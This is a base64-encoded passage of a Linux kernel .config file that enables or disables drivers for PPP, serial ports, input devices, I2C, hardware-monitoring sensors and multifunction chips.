DQpDT05GSUdfU1RFMTBYUD1tDQpDT05GSUdfTFNJX0VUMTAxMUNfUEhZPW0NCkNPTkZJR19NSUNS
RUxfUEhZPW0NCkNPTkZJR19NRElPX0JJVEJBTkc9bQ0KQ09ORklHX1BQUD1tDQpDT05GSUdfUFBQ
X0JTRENPTVA9bQ0KQ09ORklHX1BQUF9ERUZMQVRFPW0NCkNPTkZJR19QUFBfRklMVEVSPXkNCkNP
TkZJR19QUFBfTVBQRT1tDQpDT05GSUdfUFBQX01VTFRJTElOSz15DQpDT05GSUdfUFBQT0U9bQ0K
Q09ORklHX1BQUF9BU1lOQz1tDQpDT05GSUdfUFBQX1NZTkNfVFRZPW0NCiMgQ09ORklHX1NMSVAg
aXMgbm90IHNldA0KQ09ORklHX1NMSEM9bQ0KDQojDQojIFVTQiBOZXR3b3JrIEFkYXB0ZXJzDQoj
DQojIENPTkZJR19VU0JfQ0FUQyBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfS0FXRVRIIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1VTQl9QRUdBU1VTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9SVEw4
MTUwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9VU0JORVQgaXMgbm90IHNldA0KIyBDT05GSUdf
VVNCX0lQSEVUSCBpcyBub3Qgc2V0DQojIENPTkZJR19XTEFOIGlzIG5vdCBzZXQNCg0KIw0KIyBF
bmFibGUgV2lNQVggKE5ldHdvcmtpbmcgb3B0aW9ucykgdG8gc2VlIHRoZSBXaU1BWCBkcml2ZXJz
DQojDQojIENPTkZJR19XQU4gaXMgbm90IHNldA0KIyBDT05GSUdfVk1YTkVUMyBpcyBub3Qgc2V0
DQojIENPTkZJR19JU0ROIGlzIG5vdCBzZXQNCg0KIw0KIyBJbnB1dCBkZXZpY2Ugc3VwcG9ydA0K
Iw0KQ09ORklHX0lOUFVUPXkNCiMgQ09ORklHX0lOUFVUX0ZGX01FTUxFU1MgaXMgbm90IHNldA0K
IyBDT05GSUdfSU5QVVRfUE9MTERFViBpcyBub3Qgc2V0DQojIENPTkZJR19JTlBVVF9TUEFSU0VL
TUFQIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lOUFVUX01BVFJJWEtNQVAgaXMgbm90IHNldA0KDQoj
DQojIFVzZXJsYW5kIGludGVyZmFjZXMNCiMNCkNPTkZJR19JTlBVVF9NT1VTRURFVj15DQpDT05G
SUdfSU5QVVRfTU9VU0VERVZfUFNBVVg9eQ0KQ09ORklHX0lOUFVUX01PVVNFREVWX1NDUkVFTl9Y
PTEwMjQNCkNPTkZJR19JTlBVVF9NT1VTRURFVl9TQ1JFRU5fWT03NjgNCiMgQ09ORklHX0lOUFVU
X0pPWURFViBpcyBub3Qgc2V0DQpDT05GSUdfSU5QVVRfRVZERVY9eQ0KIyBDT05GSUdfSU5QVVRf
RVZCVUcgaXMgbm90IHNldA0KDQojDQojIElucHV0IERldmljZSBEcml2ZXJzDQojDQpDT05GSUdf
SU5QVVRfS0VZQk9BUkQ9eQ0KIyBDT05GSUdfS0VZQk9BUkRfQURQNTU4OCBpcyBub3Qgc2V0DQoj
IENPTkZJR19LRVlCT0FSRF9BRFA1NTg5IGlzIG5vdCBzZXQNCkNPTkZJR19LRVlCT0FSRF9BVEtC
RD15DQpDT05GSUdfS0VZQk9BUkRfQVRLQkRfSFBfS0VZQ09ERVM9eQ0KIyBDT05GSUdfS0VZQk9B
UkRfQVRLQkRfUkRJX0tFWUNPREVTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0tFWUJPQVJEX1FUMTA3
MCBpcyBub3Qgc2V0DQojIENPTkZJR19LRVlCT0FSRF9RVDIxNjAgaXMgbm90IHNldA0KIyBDT05G
SUdfS0VZQk9BUkRfTEtLQkQgaXMgbm90IHNldA0KIyBDT05GSUdfS0VZQk9BUkRfVENBNjQxNiBp
cyBub3Qgc2V0DQojIENPTkZJR19LRVlCT0FSRF9UQ0E4NDE4IGlzIG5vdCBzZXQNCkNPTkZJR19L
RVlCT0FSRF9ISUxfT0xEPXkNCiMgQ09ORklHX0tFWUJPQVJEX0hJTCBpcyBub3Qgc2V0DQojIENP
TkZJR19LRVlCT0FSRF9MTTgzMzMgaXMgbm90IHNldA0KIyBDT05GSUdfS0VZQk9BUkRfTUFYNzM1
OSBpcyBub3Qgc2V0DQojIENPTkZJR19LRVlCT0FSRF9NQ1MgaXMgbm90IHNldA0KIyBDT05GSUdf
S0VZQk9BUkRfTVBSMTIxIGlzIG5vdCBzZXQNCiMgQ09ORklHX0tFWUJPQVJEX05FV1RPTiBpcyBu
b3Qgc2V0DQojIENPTkZJR19LRVlCT0FSRF9PUEVOQ09SRVMgaXMgbm90IHNldA0KIyBDT05GSUdf
S0VZQk9BUkRfU1RPV0FXQVkgaXMgbm90IHNldA0KIyBDT05GSUdfS0VZQk9BUkRfU1VOS0JEIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0tFWUJPQVJEX1hUS0JEIGlzIG5vdCBzZXQNCkNPTkZJR19JTlBV
VF9NT1VTRT15DQojIENPTkZJR19NT1VTRV9QUzIgaXMgbm90IHNldA0KIyBDT05GSUdfTU9VU0Vf
U0VSSUFMIGlzIG5vdCBzZXQNCiMgQ09ORklHX01PVVNFX0FQUExFVE9VQ0ggaXMgbm90IHNldA0K
IyBDT05GSUdfTU9VU0VfQkNNNTk3NCBpcyBub3Qgc2V0DQojIENPTkZJR19NT1VTRV9DWUFQQSBp
cyBub3Qgc2V0DQojIENPTkZJR19NT1VTRV9WU1hYWEFBIGlzIG5vdCBzZXQNCiMgQ09ORklHX01P
VVNFX1NZTkFQVElDU19JMkMgaXMgbm90IHNldA0KIyBDT05GSUdfTU9VU0VfU1lOQVBUSUNTX1VT
QiBpcyBub3Qgc2V0DQojIENPTkZJR19JTlBVVF9KT1lTVElDSyBpcyBub3Qgc2V0DQojIENPTkZJ
R19JTlBVVF9UQUJMRVQgaXMgbm90IHNldA0KIyBDT05GSUdfSU5QVVRfVE9VQ0hTQ1JFRU4gaXMg
bm90IHNldA0KIyBDT05GSUdfSU5QVVRfTUlTQyBpcyBub3Qgc2V0DQoNCiMNCiMgSGFyZHdhcmUg
SS9PIHBvcnRzDQojDQpDT05GSUdfU0VSSU89eQ0KIyBDT05GSUdfU0VSSU9fU0VSUE9SVCBpcyBu
b3Qgc2V0DQpDT05GSUdfU0VSSU9fR1NDUFMyPXkNCiMgQ09ORklHX0hQX1NEQyBpcyBub3Qgc2V0
DQojIENPTkZJR19TRVJJT19QQ0lQUzIgaXMgbm90IHNldA0KQ09ORklHX1NFUklPX0xJQlBTMj15
DQojIENPTkZJR19TRVJJT19SQVcgaXMgbm90IHNldA0KIyBDT05GSUdfU0VSSU9fQUxURVJBX1BT
MiBpcyBub3Qgc2V0DQojIENPTkZJR19TRVJJT19QUzJNVUxUIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1NFUklPX0FSQ19QUzIgaXMgbm90IHNldA0KIyBDT05GSUdfR0FNRVBPUlQgaXMgbm90IHNldA0K
DQojDQojIENoYXJhY3RlciBkZXZpY2VzDQojDQpDT05GSUdfVFRZPXkNCkNPTkZJR19WVD15DQpD
T05GSUdfQ09OU09MRV9UUkFOU0xBVElPTlM9eQ0KQ09ORklHX1ZUX0NPTlNPTEU9eQ0KQ09ORklH
X0hXX0NPTlNPTEU9eQ0KQ09ORklHX1ZUX0hXX0NPTlNPTEVfQklORElORz15DQpDT05GSUdfVU5J
WDk4X1BUWVM9eQ0KIyBDT05GSUdfREVWUFRTX01VTFRJUExFX0lOU1RBTkNFUyBpcyBub3Qgc2V0
DQpDT05GSUdfTEVHQUNZX1BUWVM9eQ0KQ09ORklHX0xFR0FDWV9QVFlfQ09VTlQ9MjU2DQojIENP
TkZJR19TRVJJQUxfTk9OU1RBTkRBUkQgaXMgbm90IHNldA0KIyBDT05GSUdfTk9aT01JIGlzIG5v
dCBzZXQNCiMgQ09ORklHX05fR1NNIGlzIG5vdCBzZXQNCiMgQ09ORklHX1RSQUNFX1NJTksgaXMg
bm90IHNldA0KQ09ORklHX0RFVktNRU09eQ0KDQojDQojIFNlcmlhbCBkcml2ZXJzDQojDQpDT05G
SUdfU0VSSUFMXzgyNTA9eQ0KQ09ORklHX1NFUklBTF84MjUwX0NPTlNPTEU9eQ0KQ09ORklHX1NF
UklBTF84MjUwX0dTQz15DQpDT05GSUdfU0VSSUFMXzgyNTBfUENJPXkNCkNPTkZJR19TRVJJQUxf
ODI1MF9OUl9VQVJUUz00DQpDT05GSUdfU0VSSUFMXzgyNTBfUlVOVElNRV9VQVJUUz00DQpDT05G
SUdfU0VSSUFMXzgyNTBfRVhURU5ERUQ9eQ0KQ09ORklHX1NFUklBTF84MjUwX01BTllfUE9SVFM9
eQ0KQ09ORklHX1NFUklBTF84MjUwX1NIQVJFX0lSUT15DQojIENPTkZJR19TRVJJQUxfODI1MF9E
RVRFQ1RfSVJRIGlzIG5vdCBzZXQNCkNPTkZJR19TRVJJQUxfODI1MF9SU0E9eQ0KIyBDT05GSUdf
U0VSSUFMXzgyNTBfRFcgaXMgbm90IHNldA0KDQojDQojIE5vbi04MjUwIHNlcmlhbCBwb3J0IHN1
cHBvcnQNCiMNCiMgQ09ORklHX1NFUklBTF9NRkRfSFNVIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NF
UklBTF9NVVggaXMgbm90IHNldA0KQ09ORklHX1BEQ19DT05TT0xFPXkNCkNPTkZJR19TRVJJQUxf
Q09SRT15DQpDT05GSUdfU0VSSUFMX0NPUkVfQ09OU09MRT15DQojIENPTkZJR19TRVJJQUxfSlNN
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFUklBTF9TQ0NOWFAgaXMgbm90IHNldA0KIyBDT05GSUdf
U0VSSUFMX1RJTUJFUkRBTEUgaXMgbm90IHNldA0KIyBDT05GSUdfU0VSSUFMX0FMVEVSQV9KVEFH
VUFSVCBpcyBub3Qgc2V0DQojIENPTkZJR19TRVJJQUxfQUxURVJBX1VBUlQgaXMgbm90IHNldA0K
IyBDT05GSUdfU0VSSUFMX1BDSF9VQVJUIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFUklBTF9BUkMg
aXMgbm90IHNldA0KIyBDT05GSUdfU0VSSUFMX1JQMiBpcyBub3Qgc2V0DQojIENPTkZJR19JUE1J
X0hBTkRMRVIgaXMgbm90IHNldA0KIyBDT05GSUdfSFdfUkFORE9NIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1IzOTY0IGlzIG5vdCBzZXQNCiMgQ09ORklHX0FQUExJQ09NIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1JBV19EUklWRVIgaXMgbm90IHNldA0KIyBDT05GSUdfVENHX1RQTSBpcyBub3Qgc2V0DQpD
T05GSUdfREVWUE9SVD15DQpDT05GSUdfSTJDPXkNCkNPTkZJR19JMkNfQk9BUkRJTkZPPXkNCkNP
TkZJR19JMkNfQ09NUEFUPXkNCiMgQ09ORklHX0kyQ19DSEFSREVWIGlzIG5vdCBzZXQNCiMgQ09O
RklHX0kyQ19NVVggaXMgbm90IHNldA0KQ09ORklHX0kyQ19IRUxQRVJfQVVUTz15DQpDT05GSUdf
STJDX0FMR09CSVQ9bQ0KDQojDQojIEkyQyBIYXJkd2FyZSBCdXMgc3VwcG9ydA0KIw0KDQojDQoj
IFBDIFNNQnVzIGhvc3QgY29udHJvbGxlciBkcml2ZXJzDQojDQojIENPTkZJR19JMkNfQUxJMTUz
NSBpcyBub3Qgc2V0DQojIENPTkZJR19JMkNfQUxJMTU2MyBpcyBub3Qgc2V0DQojIENPTkZJR19J
MkNfQUxJMTVYMyBpcyBub3Qgc2V0DQojIENPTkZJR19JMkNfQU1ENzU2IGlzIG5vdCBzZXQNCiMg
Q09ORklHX0kyQ19BTUQ4MTExIGlzIG5vdCBzZXQNCiMgQ09ORklHX0kyQ19JODAxIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0kyQ19JU0NIIGlzIG5vdCBzZXQNCiMgQ09ORklHX0kyQ19QSUlYNCBpcyBu
b3Qgc2V0DQojIENPTkZJR19JMkNfTkZPUkNFMiBpcyBub3Qgc2V0DQojIENPTkZJR19JMkNfU0lT
NTU5NSBpcyBub3Qgc2V0DQojIENPTkZJR19JMkNfU0lTNjMwIGlzIG5vdCBzZXQNCiMgQ09ORklH
X0kyQ19TSVM5NlggaXMgbm90IHNldA0KIyBDT05GSUdfSTJDX1ZJQSBpcyBub3Qgc2V0DQojIENP
TkZJR19JMkNfVklBUFJPIGlzIG5vdCBzZXQNCg0KIw0KIyBJMkMgc3lzdGVtIGJ1cyBkcml2ZXJz
IChtb3N0bHkgZW1iZWRkZWQgLyBzeXN0ZW0tb24tY2hpcCkNCiMNCiMgQ09ORklHX0kyQ19ERVNJ
R05XQVJFX1BDSSBpcyBub3Qgc2V0DQojIENPTkZJR19JMkNfRUcyMFQgaXMgbm90IHNldA0KIyBD
T05GSUdfSTJDX0lOVEVMX01JRCBpcyBub3Qgc2V0DQojIENPTkZJR19JMkNfT0NPUkVTIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0kyQ19QQ0FfUExBVEZPUk0gaXMgbm90IHNldA0KIyBDT05GSUdfSTJD
X1BYQV9QQ0kgaXMgbm90IHNldA0KIyBDT05GSUdfSTJDX1NJTVRFQyBpcyBub3Qgc2V0DQojIENP
TkZJR19JMkNfWElMSU5YIGlzIG5vdCBzZXQNCg0KIw0KIyBFeHRlcm5hbCBJMkMvU01CdXMgYWRh
cHRlciBkcml2ZXJzDQojDQojIENPTkZJR19JMkNfRElPTEFOX1UyQyBpcyBub3Qgc2V0DQojIENP
TkZJR19JMkNfUEFSUE9SVF9MSUdIVCBpcyBub3Qgc2V0DQojIENPTkZJR19JMkNfVEFPU19FVk0g
aXMgbm90IHNldA0KIyBDT05GSUdfSTJDX1RJTllfVVNCIGlzIG5vdCBzZXQNCg0KIw0KIyBPdGhl
ciBJMkMvU01CdXMgYnVzIGRyaXZlcnMNCiMNCiMgQ09ORklHX0kyQ19TVFVCIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0kyQ19ERUJVR19DT1JFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0kyQ19ERUJVR19B
TEdPIGlzIG5vdCBzZXQNCiMgQ09ORklHX0kyQ19ERUJVR19CVVMgaXMgbm90IHNldA0KIyBDT05G
SUdfU1BJIGlzIG5vdCBzZXQNCiMgQ09ORklHX0hTSSBpcyBub3Qgc2V0DQoNCiMNCiMgUFBTIHN1
cHBvcnQNCiMNCiMgQ09ORklHX1BQUyBpcyBub3Qgc2V0DQoNCiMNCiMgUFBTIGdlbmVyYXRvcnMg
c3VwcG9ydA0KIw0KDQojDQojIFBUUCBjbG9jayBzdXBwb3J0DQojDQojIENPTkZJR19QVFBfMTU4
OF9DTE9DSyBpcyBub3Qgc2V0DQoNCiMNCiMgRW5hYmxlIFBIWUxJQiBhbmQgTkVUV09SS19QSFlf
VElNRVNUQU1QSU5HIHRvIHNlZSB0aGUgYWRkaXRpb25hbCBjbG9ja3MuDQojDQojIENPTkZJR19Q
VFBfMTU4OF9DTE9DS19QQ0ggaXMgbm90IHNldA0KQ09ORklHX0dQSU9fREVWUkVTPXkNCiMgQ09O
RklHX1cxIGlzIG5vdCBzZXQNCiMgQ09ORklHX1BPV0VSX1NVUFBMWSBpcyBub3Qgc2V0DQojIENP
TkZJR19QT1dFUl9BVlMgaXMgbm90IHNldA0KQ09ORklHX0hXTU9OPW0NCiMgQ09ORklHX0hXTU9O
X1ZJRCBpcyBub3Qgc2V0DQojIENPTkZJR19IV01PTl9ERUJVR19DSElQIGlzIG5vdCBzZXQNCg0K
Iw0KIyBOYXRpdmUgZHJpdmVycw0KIw0KIyBDT05GSUdfU0VOU09SU19BRDc0MTQgaXMgbm90IHNl
dA0KIyBDT05GSUdfU0VOU09SU19BRDc0MTggaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19B
RE0xMDIxIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfQURNMTAyNSBpcyBub3Qgc2V0DQoj
IENPTkZJR19TRU5TT1JTX0FETTEwMjYgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19BRE0x
MDI5IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfQURNMTAzMSBpcyBub3Qgc2V0DQojIENP
TkZJR19TRU5TT1JTX0FETTkyNDAgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19BRFQ3NDEw
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfQURUNzQxMSBpcyBub3Qgc2V0DQojIENPTkZJ
R19TRU5TT1JTX0FEVDc0NjIgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19BRFQ3NDcwIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfQURUNzQ3NSBpcyBub3Qgc2V0DQojIENPTkZJR19T
RU5TT1JTX0FTQzc2MjEgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19BVFhQMSBpcyBub3Qg
c2V0DQojIENPTkZJR19TRU5TT1JTX0RTNjIwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNf
RFMxNjIxIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfSTVLX0FNQiBpcyBub3Qgc2V0DQoj
IENPTkZJR19TRU5TT1JTX0Y3MTgwNUYgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19GNzE4
ODJGRyBpcyBub3Qgc2V0DQojIENPTkZJR19TRU5TT1JTX0Y3NTM3NVMgaXMgbm90IHNldA0KIyBD
T05GSUdfU0VOU09SU19HNzYwQSBpcyBub3Qgc2V0DQojIENPTkZJR19TRU5TT1JTX0dMNTE4U00g
aXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19HTDUyMFNNIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1NFTlNPUlNfSElINjEzMCBpcyBub3Qgc2V0DQojIENPTkZJR19TRU5TT1JTX0lUODcgaXMgbm90
IHNldA0KIyBDT05GSUdfU0VOU09SU19KQzQyIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNf
TElORUFHRSBpcyBub3Qgc2V0DQojIENPTkZJR19TRU5TT1JTX0xNNjMgaXMgbm90IHNldA0KIyBD
T05GSUdfU0VOU09SU19MTTczIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfTE03NSBpcyBu
b3Qgc2V0DQojIENPTkZJR19TRU5TT1JTX0xNNzcgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09S
U19MTTc4IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfTE04MCBpcyBub3Qgc2V0DQojIENP
TkZJR19TRU5TT1JTX0xNODMgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19MTTg1IGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfTE04NyBpcyBub3Qgc2V0DQojIENPTkZJR19TRU5TT1JT
X0xNOTAgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19MTTkyIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1NFTlNPUlNfTE05MyBpcyBub3Qgc2V0DQojIENPTkZJR19TRU5TT1JTX0xUQzQxNTEgaXMg
bm90IHNldA0KIyBDT05GSUdfU0VOU09SU19MVEM0MjE1IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NF
TlNPUlNfTFRDNDI0NSBpcyBub3Qgc2V0DQojIENPTkZJR19TRU5TT1JTX0xUQzQyNjEgaXMgbm90
IHNldA0KIyBDT05GSUdfU0VOU09SU19MTTk1MjQxIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNP
UlNfTE05NTI0NSBpcyBub3Qgc2V0DQojIENPTkZJR19TRU5TT1JTX01BWDE2MDY1IGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1NFTlNPUlNfTUFYMTYxOSBpcyBub3Qgc2V0DQojIENPTkZJR19TRU5TT1JT
X01BWDE2NjggaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19NQVgxOTcgaXMgbm90IHNldA0K
IyBDT05GSUdfU0VOU09SU19NQVg2NjM5IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfTUFY
NjY0MiBpcyBub3Qgc2V0DQojIENPTkZJR19TRU5TT1JTX01BWDY2NTAgaXMgbm90IHNldA0KIyBD
T05GSUdfU0VOU09SU19NQVg2Njk3IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfTUNQMzAy
MSBpcyBub3Qgc2V0DQojIENPTkZJR19TRU5TT1JTX05UQ19USEVSTUlTVE9SIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1NFTlNPUlNfUEM4NzM2MCBpcyBub3Qgc2V0DQojIENPTkZJR19TRU5TT1JTX1BD
ODc0MjcgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19QQ0Y4NTkxIGlzIG5vdCBzZXQNCiMg
Q09ORklHX1BNQlVTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfU0hUMjEgaXMgbm90IHNl
dA0KIyBDT05GSUdfU0VOU09SU19TSVM1NTk1IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNf
U01NNjY1IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfRE1FMTczNyBpcyBub3Qgc2V0DQoj
IENPTkZJR19TRU5TT1JTX0VNQzE0MDMgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19FTUMy
MTAzIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfRU1DNlcyMDEgaXMgbm90IHNldA0KIyBD
T05GSUdfU0VOU09SU19TTVNDNDdNMSBpcyBub3Qgc2V0DQojIENPTkZJR19TRU5TT1JTX1NNU0M0
N00xOTIgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19TTVNDNDdCMzk3IGlzIG5vdCBzZXQN
CiMgQ09ORklHX1NFTlNPUlNfU0NINTZYWF9DT01NT04gaXMgbm90IHNldA0KIyBDT05GSUdfU0VO
U09SU19BRFMxMDE1IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfQURTNzgyOCBpcyBub3Qg
c2V0DQojIENPTkZJR19TRU5TT1JTX0FNQzY4MjEgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09S
U19JTkEyMDkgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19JTkEyWFggaXMgbm90IHNldA0K
IyBDT05GSUdfU0VOU09SU19USE1DNTAgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19UTVAx
MDIgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19UTVA0MDEgaXMgbm90IHNldA0KIyBDT05G
SUdfU0VOU09SU19UTVA0MjEgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19WSUE2ODZBIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfVlQxMjExIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NF
TlNPUlNfVlQ4MjMxIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfVzgzNzgxRCBpcyBub3Qg
c2V0DQojIENPTkZJR19TRU5TT1JTX1c4Mzc5MUQgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09S
U19XODM3OTJEIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfVzgzNzkzIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1NFTlNPUlNfVzgzNzk1IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfVzgz
TDc4NVRTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFTlNPUlNfVzgzTDc4Nk5HIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1NFTlNPUlNfVzgzNjI3SEYgaXMgbm90IHNldA0KIyBDT05GSUdfU0VOU09SU19X
ODM2MjdFSEYgaXMgbm90IHNldA0KIyBDT05GSUdfVEhFUk1BTCBpcyBub3Qgc2V0DQojIENPTkZJ
R19XQVRDSERPRyBpcyBub3Qgc2V0DQpDT05GSUdfU1NCX1BPU1NJQkxFPXkNCg0KIw0KIyBTb25p
Y3MgU2lsaWNvbiBCYWNrcGxhbmUNCiMNCkNPTkZJR19TU0I9bQ0KQ09ORklHX1NTQl9TUFJPTT15
DQpDT05GSUdfU1NCX1BDSUhPU1RfUE9TU0lCTEU9eQ0KQ09ORklHX1NTQl9QQ0lIT1NUPXkNCiMg
Q09ORklHX1NTQl9CNDNfUENJX0JSSURHRSBpcyBub3Qgc2V0DQojIENPTkZJR19TU0JfREVCVUcg
aXMgbm90IHNldA0KQ09ORklHX1NTQl9EUklWRVJfUENJQ09SRV9QT1NTSUJMRT15DQpDT05GSUdf
U1NCX0RSSVZFUl9QQ0lDT1JFPXkNCkNPTkZJR19CQ01BX1BPU1NJQkxFPXkNCg0KIw0KIyBCcm9h
ZGNvbSBzcGVjaWZpYyBBTUJBDQojDQojIENPTkZJR19CQ01BIGlzIG5vdCBzZXQNCg0KIw0KIyBN
dWx0aWZ1bmN0aW9uIGRldmljZSBkcml2ZXJzDQojDQojIENPTkZJR19NRkRfQ09SRSBpcyBub3Qg
c2V0DQojIENPTkZJR19NRkRfODhQTTg2MFggaXMgbm90IHNldA0KIyBDT05GSUdfTUZEXzg4UE04
MDAgaXMgbm90IHNldA0KIyBDT05GSUdfTUZEXzg4UE04MDUgaXMgbm90IHNldA0KIyBDT05GSUdf
TUZEX1NNNTAxIGlzIG5vdCBzZXQNCiMgQ09ORklHX01GRF9SVFNYX1BDSSBpcyBub3Qgc2V0DQoj
IENPTkZJR19NRkRfVElfQU0zMzVYX1RTQ0FEQyBpcyBub3Qgc2V0DQojIENPTkZJR19IVENfUEFT
SUMzIGlzIG5vdCBzZXQNCiMgQ09ORklHX01GRF9MTTM1MzMgaXMgbm90IHNldA0KIyBDT05GSUdf
VFBTNjEwNVggaXMgbm90IHNldA0KIyBDT05GSUdfVFBTNjUwN1ggaXMgbm90IHNldA0KIyBDT05G
SUdfTUZEX1RQUzY1MjE3IGlzIG5vdCBzZXQNCiMgQ09ORklHX01GRF9UUFM2NTg2WCBpcyBub3Qg
c2V0DQojIENPTkZJR19NRkRfVFBTODAwMzEgaXMgbm90IHNldA0KIyBDT05GSUdfVFdMNDAzMF9D
T1JFIGlzIG5vdCBzZXQNCiMgQ09ORklHX1RXTDYwNDBfQ09SRSBpcyBub3Qgc2V0DQojIENPTkZJ
R19NRkRfU1RNUEUgaXMgbm90IHNldA0KIyBDT05GSUdfTUZEX1RDMzU4OVggaXMgbm90IHNldA0K
IyBDT05GSUdfTUZEX1RNSU8gaXMgbm90IHNldA0KIyBDT05GSUdfTUZEX1NNU0MgaXMgbm90IHNl
dA0KIyBDT05GSUdfUE1JQ19EQTkwM1ggaXMgbm90IHNldA0KIyBDT05GSUdfTUZEX0RBOTA1Ml9J
MkMgaXMgbm90IHNldA0KIyBDT05GSUdfTUZEX0RBOTA1NSBpcyBub3Qgc2V0DQojIENPTkZJR19Q
TUlDX0FEUDU1MjAgaXMgbm90IHNldA0KIyBDT05GSUdfTUZEX0xQODc4OCBpcyBub3Qgc2V0DQoj
IENPTkZJR19NRkRfTUFYNzc2ODYgaXMgbm90IHNldA0KIyBDT05GSUdfTUZEX01BWDc3NjkzIGlz
IG5vdCBzZXQNCiMgQ09ORklHX01GRF9NQVg4OTA3IGlzIG5vdCBzZXQNCiMgQ09ORklHX01GRF9N
QVg4OTI1IGlzIG5vdCBzZXQNCiMgQ09ORklHX01GRF9NQVg4OTk3IGlzIG5vdCBzZXQNCiMgQ09O
RklHX01GRF9NQVg4OTk4IGlzIG5vdCBzZXQNCiMgQ09ORklHX01GRF9TRUNfQ09SRSBpcyBub3Qg
c2V0DQojIENPTkZJR19NRkRfQVJJWk9OQV9JMkMgaXMgbm90IHNldA0KIyBDT05GSUdfTUZEX1dN
ODQwMCBpcyBub3Qgc2V0DQojIENPTkZJR19NRkRfV004MzFYX0kyQyBpcyBub3Qgc2V0DQojIENP
TkZJR19NRkRfV004MzUwX0kyQyBpcyBub3Qgc2V0DQojIENPTkZJR19NRkRfV004OTk0IGlzIG5v
dCBzZXQNCiMgQ09ORklHX01GRF9QQ0Y1MDYzMyBpcyBub3Qgc2V0DQojIENPTkZJR19NRkRfTUMx
M1hYWF9JMkMgaXMgbm90IHNldA0KIyBDT05GSUdfQUJYNTAwX0NPUkUgaXMgbm90IHNldA0KIyBD
T05GSUdfTFBDX1NDSCBpcyBub3Qgc2V0DQojIENPTkZJR19MUENfSUNIIGlzIG5vdCBzZXQNCiMg
Q09ORklHX01GRF9SREMzMjFYIGlzIG5vdCBzZXQNCiMgQ09ORklHX01GRF9KQU5aX0NNT0RJTyBp
cyBub3Qgc2V0DQojIENPTkZJR19NRkRfVlg4NTUgaXMgbm90IHNldA0KIyBDT05GSUdfTUZEX1dM
MTI3M19DT1JFIGlzIG5vdCBzZXQNCiMgQ09ORklHX01GRF9UUFM2NTA5MCBpcyBub3Qgc2V0DQoj
IENPTkZJR19NRkRfUkM1VDU4MyBpcyBub3Qgc2V0DQojIENPTkZJR19NRkRfUEFMTUFTIGlzIG5v
dCBzZXQNCiMgQ09ORklHX01GRF9WSVBFUkJPQVJEIGlzIG5vdCBzZXQNCiMgQ09ORklHX01GRF9S
